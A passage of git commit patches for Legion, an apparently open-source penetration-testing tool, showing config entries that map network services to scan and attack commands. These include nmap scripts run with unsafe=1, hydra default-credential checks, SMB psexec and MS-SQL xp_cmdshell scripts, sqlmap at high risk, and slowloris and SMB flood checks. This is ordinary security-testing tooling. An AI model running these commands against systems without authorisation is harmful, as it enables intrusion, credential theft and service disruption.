[IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https" +http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" +http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" +http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" +http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http +http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" +http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" +http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" +http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" +https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https +imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap +imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap +irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc +irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc +irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc +irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc +irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc +ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap +membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https" +ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql +ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql +ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql +ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql +ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql +ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql +ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql +ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql +ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql +ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql +msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc +mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s +mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql +mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql +mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql +mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql +mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql +mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql +mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql +mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql +mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql +mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql +mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql +mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql +nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns +nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs +nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs +nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs +nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt" +nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], +oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle +oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle +oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns +oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle +oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns' +oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle +oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns +polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" +pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 +pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 +postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql +rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server +realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc +riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https" +rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind +rwho=Run rwho, rwho -a [IP], who +samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba +samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" +showmount=Show nfs shares, showmount -e [IP], nfs +smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb +smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb +smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" +smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb +smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb +smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb +smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb +smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb +smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb +smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb +smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb +smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb +smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb +smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb +smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb +smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb +smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb +smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb +smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb +smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb +smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" +smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb +smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp +smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp +smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp +smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp +smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp +snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" +snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp +snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" +snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp +snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp +snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp +snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp +snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp +snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp +snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp +snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp +snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp +snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp +snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" +sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" +sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" +tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp +vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc +vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc +webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" +x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 + +[PortTerminalActions] +firefox=Open with firefox, firefox [IP]:[PORT], +ftp=Open with ftp client, ftp [IP] [PORT], ftp +mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" +mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql +netcat=Open with netcat, nc -v [IP] [PORT], +psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres +rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server +rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login +rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" +rsh=Open with rsh, rsh -l root [IP], shell +ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh +telnet=Open with telnet, telnet [IP] [PORT], +vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc +xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp + +[SchedulerSettings] +ftp-default=ftp, tcp +mssql-default=ms-sql-s, tcp +mysql-default=mysql, tcp +nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp +oracle-default=oracle-tns, tcp +postgres-default=postgresql, tcp +screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp +smbenum=microsoft-ds, tcp +snmp-default=snmp, udp +x11screen=X11, tcp + +[StagedNmapSettings] +stage1-ports="T:80,443" +stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" +stage3-ports="Vulners,CVE" +stage4-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" +stage5-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" +stage6-ports="T:30000-65534,65535" + +[ToolSettings] +cutycapt-path=/usr/bin/cutycapt +hydra-path=/usr/bin/hydra +nmap-path=/usr/bin/nmap +texteditor-path=/usr/bin/leafpad diff --git a/controller/controller.py b/controller/controller.py index 22efb107..795e6a86 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,12 +28,12 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.4' - self.build = '1551291663' + self.build = '1551730725' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] self.emails = [] - self.update = '02/27/2019' + self.update = '03/04/2019' self.license = "GPL v3" self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \nsuper-extensible and semi-automated network penetration testing tool that aids in discovery, \nreconnaissance and exploitation of information systems." self.smallIcon = './images/icons/Legion-N_128x128.svg' diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 97fb95e3..46347dd6 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -7,4 +7,4 @@ echo "Checking Apt..." runAptGetUpdate echo "Installing deps..." -DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 +DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti diff --git a/legion.conf b/legion.conf index e7728283..00d2c351 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,554,100" +process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,544,100" process-tab-detail=False [GeneralSettings] @@ -125,6 +125,7 @@ http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" +http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" @@ -147,10 +148,12 @@ http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" +http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" +https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc From 87b435fa1d7da6c09ac365c9287875bcb5232d88 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 4 Mar 2019 20:00:49 -0600 Subject: [PATCH 173/450] Add packaging data for debian general --- backup/20190226144051898815-legion.conf | 317 ------------------------ controller/controller.py | 4 +- debian/changelog | 2 + debian/control | 26 ++ debian/copyright | 86 +++++++ debian/docs | 1 + debian/legion.install | 11 + debian/legion.links | 1 + debian/rules | 16 ++ debian/source/format | 1 + debian/watch | 3 + precommit.sh | 4 + 12 files changed, 153 insertions(+), 319 deletions(-) delete mode 100644 backup/20190226144051898815-legion.conf create mode 100644 debian/changelog create mode 100644 debian/control create mode 100644 debian/copyright create mode 100644 debian/docs create mode 100644 debian/legion.install create mode 100644 debian/legion.links create mode 100644 debian/rules create mode 100644 debian/source/format create mode 100644 debian/watch diff --git a/backup/20190226144051898815-legion.conf b/backup/20190226144051898815-legion.conf deleted file mode 100644 index 2e00f030..00000000 --- a/backup/20190226144051898815-legion.conf +++ /dev/null @@ -1,317 +0,0 @@ -[BruteSettings] -default-password=password -default-username=root -no-password-services="oracle-sid,rsh,smtp-enum" -no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" -password-wordlist-path=/usr/share/wordlists/ -services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" -store-cleartext-passwords-on-exit=True -username-wordlist-path=/usr/share/wordlists/ - -[GUISettings] -process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,544,100" -process-tab-detail=False - -[GeneralSettings] -default-terminal=gnome-terminal -enable-scheduler=True -enable-scheduler-on-import=False -max-fast-processes=5 -max-slow-processes=5 -screenshooter-timeout=15000 -tool-output-black-background=False -web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" - -[HostActions] -icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] -nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" -nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" -nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" -nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v - -[PortActions] -banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", -broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql -citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse 